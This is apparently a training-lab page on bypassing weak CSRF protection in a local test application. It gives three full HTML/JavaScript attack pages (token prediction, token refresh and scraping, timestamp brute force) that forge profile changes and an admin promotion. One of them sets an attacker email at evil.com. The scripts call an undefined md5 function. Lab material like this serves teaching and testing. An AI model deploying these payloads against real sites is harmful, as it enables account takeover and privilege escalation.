Difficulty: Medium
Lab Overview
This lab demonstrates CSRF vulnerabilities where weak CSRF token implementation can be bypassed. The application uses predictable tokens and weak validation mechanisms that can be exploited by attackers.
Objective: Bypass CSRF protection by exploiting weak token generation and validation mechanisms.
CSRF Bypass Techniques
Use these techniques to bypass CSRF protection:
1. Token Prediction Attack:
<html>
<body>
<h1>Token Prediction Attack</h1>
<script>
// Predict token based on current timestamp
var timestamp = Math.floor(Date.now() / 1000);
var predictedToken = md5(timestamp + 'weak_secret');
// Create form with predicted token
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost/test/csrf/2.php';
var inputs = [
{name: 'update_profile', value: '1'},
{name: 'csrf_token', value: predictedToken},
{name: 'username', value: 'hacked_user'},
{name: 'email', value: 'hacker@evil.com'}
];
inputs.forEach(function(input) {
var inputElement = document.createElement('input');
inputElement.type = 'hidden';
inputElement.name = input.name;
inputElement.value = input.value;
form.appendChild(inputElement);
});
document.body.appendChild(form);
form.submit();
</script>
</body>
</html>
2. Token Refresh Attack:
<html>
<body>
<h1>Token Refresh Attack</h1>
<script>
// First, refresh the token
fetch('http://localhost/test/csrf/2.php?refresh_token=1')
.then(response => response.text())
.then(data => {
// Extract token from response (if visible)
var tokenMatch = data.match(/csrf_token.*?value="([^"]+)"/);
if (tokenMatch) {
var token = tokenMatch[1];
// Now use the token for CSRF attack
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost/test/csrf/2.php';
var inputs = [
{name: 'admin_action', value: '1'},
{name: 'csrf_token', value: token},
{name: 'action', value: 'promote_user'}
];
inputs.forEach(function(input) {
var inputElement = document.createElement('input');
inputElement.type = 'hidden';
inputElement.name = input.name;
inputElement.value = input.value;
form.appendChild(inputElement);
});
document.body.appendChild(form);
form.submit();
}
});
</script>
</body>
</html>
3. Token Brute Force Attack:
<html>
<body>
<h1>Token Brute Force Attack</h1>
<script>
// Brute force weak token space
function bruteForceToken() {
var timestamp = Math.floor(Date.now() / 1000);
// Try tokens around current timestamp
for (var i = -10; i <= 10; i++) {
var testTimestamp = timestamp + i;
var testToken = md5(testTimestamp + 'weak_secret');
// Test token with a request
fetch('http://localhost/test/csrf/2.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'update_profile=1&csrf_token=' + testToken + '&username=hacked_user'
}).then(response => {
if (response.ok) {
console.log('Token found:', testToken);
}
});
}
}
bruteForceToken();
</script>
</body>
</html>